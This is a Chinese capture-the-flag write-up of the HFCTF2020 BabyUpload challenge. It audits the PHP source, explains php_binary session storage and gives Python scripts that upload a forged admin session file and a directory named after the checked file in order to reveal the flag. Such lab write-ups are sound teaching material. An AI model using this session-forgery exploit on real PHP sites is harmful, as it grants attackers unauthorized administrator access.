HFCTF2020-BabyUpload
Created At :
Count:1.7k
Views 👀 :
参考博客:https://blog.csdn.net/m0_64297700/article/details/128831847
知识点
php_binary引擎下的session伪造
php_binary存储方式:键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
1
| Ascii字符+usernames:5:"admin";
|
php存储方式:键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4)存储方式是:经过serialize()函数序列化处理的值;
1
| a:1:{s:8:"username";s:5:"admin";}
|
打开页面发现源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <?php error_reporting(0); session_save_path("/var/babyctf/"); session_start(); require_once "/flag"; highlight_file(__FILE__); if($_SESSION['username'] ==='admin') { $filename='/var/babyctf/success.txt'; if(file_exists($filename)){ safe_delete($filename); die($flag); } } else{ $_SESSION['username'] ='guest'; } $direction = filter_input(INPUT_POST, 'direction'); $attr = filter_input(INPUT_POST, 'attr'); $dir_path = "/var/babyctf/".$attr; if($attr==="private"){ $dir_path .= "/".$_SESSION['username']; } if($direction === "upload"){ try{ if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){ throw new RuntimeException('invalid upload'); } $file_path = $dir_path."/".$_FILES['up_file']['name']; $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']); if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ throw new RuntimeException('invalid file path'); } @mkdir($dir_path, 0700, TRUE); if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){ $upload_result = "uploaded"; }else{ throw new RuntimeException('error while saving'); } } catch (RuntimeException $e) { $upload_result = $e->getMessage(); } } elseif ($direction === "download") { try{ $filename = basename(filter_input(INPUT_POST, 'filename')); $file_path = $dir_path."/".$filename; if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ throw new RuntimeException('invalid file path'); } if(!file_exists($file_path)) { throw new RuntimeException('file not exist'); } header('Content-Type: application/force-download'); header('Content-Length: '.filesize($file_path)); header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"'); if(readfile($file_path)){ $download_result = "downloaded"; }else{ throw new RuntimeException('error while saving'); } } catch (RuntimeException $e) { $download_result = $e->getMessage(); } exit; } ?>
|
设置session存储路径并在根目录下包含flag
1 2 3
| session_save_path("/var/babyctf/") session_start() require_once "/flag"
|
如果username===admin就会检查/var/babyctf/目录下是否存在success.txt,如果存在的话就会删除success.txt然后输出flag
1 2 3 4 5 6 7 8 9 10 11
| if($_SESSION['username'] ==='admin') { $filename='/var/babyctf/success.txt'; if(file_exists($filename)){ safe_delete($filename); die($flag); } } else{ $_SESSION['username'] ='guest'; }
|
设置两个post参数direction和attr,然后$dir_path拼接路径,若$attr===private,就在$dir_path路径的基础上再拼接一个$_SESSION['username']的值:
1 2 3 4 5 6
| $direction = filter_input(INPUT_POST,'direction') $attr = filter_input(INPUT_POST,'attr') $dir_path = "/var/babyctf/".$attr if($attr==="private"){ $dir_path .= "/".$_SESSION['username'] }
|
判断如果direction===upload,首先判断是否正常上传,如果通过就在$dir_path下拼接文件名,然后再拼接一个_,再加上文件名的sha256值,然后使用正则匹配限制目录穿越,创建并把文件上传到相应目录下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| if($direction === "upload"){ try{ if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){ throw new RuntimeException('invalid upload'); } $file_path = $dir_path."/".$_FILES['up_file']['name']; $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']); if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ throw new RuntimeException('invalid file path'); } @mkdir($dir_path, 0700, TRUE); if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){ $upload_result = "uploaded"; }else{ throw new RuntimeException('error while saving'); } } catch (RuntimeException $e) { $upload_result = $e->getMessage(); }
|
如果$direction===download,提取上传上来的文件名,拼接为$file_path,然后又是限制目录穿越,然后再判断文件是否存在,如果存在则返回文件内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| } elseif ($direction === "download") { try{ $filename = basename(filter_input(INPUT_POST, 'filename')); $file_path = $dir_path."/".$filename; if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ throw new RuntimeException('invalid file path'); } if(!file_exists($file_path)) { throw new RuntimeException('file not exist'); } header('Content-Type: application/force-download'); header('Content-Length: '.filesize($file_path)); header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"'); if(readfile($file_path)){ $download_result = "downloaded"; }else{ throw new RuntimeException('error while saving'); } } catch (RuntimeException $e) { $download_result = $e->getMessage(); } exit; }
|
解题分析
代码审计之后发现,如果要得到flag,需要满足两点。
1 2 3
| 1、$_SESSION['username'] === 'admin' --->username的值为admin
2、$filename='/var/babyctf/success.txt' --->/var/babyctf/目录下存在success.txt文件
|
解法一
php的session默认存储文件名是sess_+PHPSESSID的值,先F12查看当前的session的值

让direction的值为download输出文件内容以判断session的存储方式,attr可以不传值,所以post构造
1
| direction=download&attr=&filename=sess_8bfa5d12ec0509c3919ea504f11346c5
|

发现结果就是php_binary存储方式,接下来伪造admin的session值
脚本:
1 2 3 4 5 6 7
| <?php ini_set('session.serialize_handler', 'php_binary'); session_save_path("D:\\phpstudy_pro\\WWW\\getsession\\"); session_start();
$_SESSION['username'] = 'admin'; ?>
|
生成sess文件

- 对文件名进行
sha256计算,将文件名改为sess方便计算;

结果:
1
| 432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
|
然后上传我们的sess文件
1 2
| direction=upload&attr=&filename=sess usernames:5:"admin";
|
这里用脚本上传
1 2 3 4 5 6 7 8 9 10 11
| import requests import hashlib # url需要修改为自己的靶场url url = 'http://8ae461e5-88fb-4d46-b3b9-dc4a3fbaf063.node4.buuoj.cn:81/' # 上传伪造的session文件 files = {"up_file": ("sess", b'\x08usernames:5:"admin";')} data = { 'direction': 'upload', 'attr': '' } req = requests.post(url, data=data, files=files)
|
然后源码会将sess拼接成sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
1
| $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name'])
|
- 所以服务器存储为
sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4,抓包查看访问结果;
1
| direction=download&attr=&filename=sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
|
这样session伪造就成功了,接下来上传success.txt,已知$filename由file_exists函数检查文件或者目录是否存在,可将attr设置为success.txt创建目录,再上传到该目录下即可绕过判断;
1
| $dir_path = "/var/babyctf/".$attr
|
注意:这里必须随便传个文件不然过不了这个if判断,可以写个表单来传也可以用python脚本来传
1 2 3
| if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){ throw new RuntimeException('invalid upload'); }
|
1 2 3 4 5 6 7 8 9 10 11
| import requests import hashlib
url = 'http://8ae461e5-88fb-4d46-b3b9-dc4a3fbaf063.node4.buuoj.cn:81/'
files = {"up_file": ("123", b'123";')} data1 = { 'attr': 'success.txt', 'direction': 'upload' } req1 = requests.post(url=url, data=data1, files=files)
|
然后修改PHPSESSID为432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
然后刷新页面即可看到flag
解法二
直接用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import requests import hashlib
url = 'http://8ae461e5-88fb-4d46-b3b9-dc4a3fbaf063.node4.buuoj.cn:81/'
files = {"up_file": ("sess", b'\x08usernames:5:"admin";')} data = { 'direction': 'upload', 'attr': '' } req = requests.post(url, data=data, files=files)
session_id = hashlib.sha256(b'\x08usernames:5:"admin";').hexdigest()
data1 = { 'attr': 'success.txt', 'direction': 'upload' } req1 = requests.post(url=url, data=data1, files=files)
cookie = { 'PHPSESSID': session_id }
flag = requests.get(url, cookies=cookie) print(flag.text)
|
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。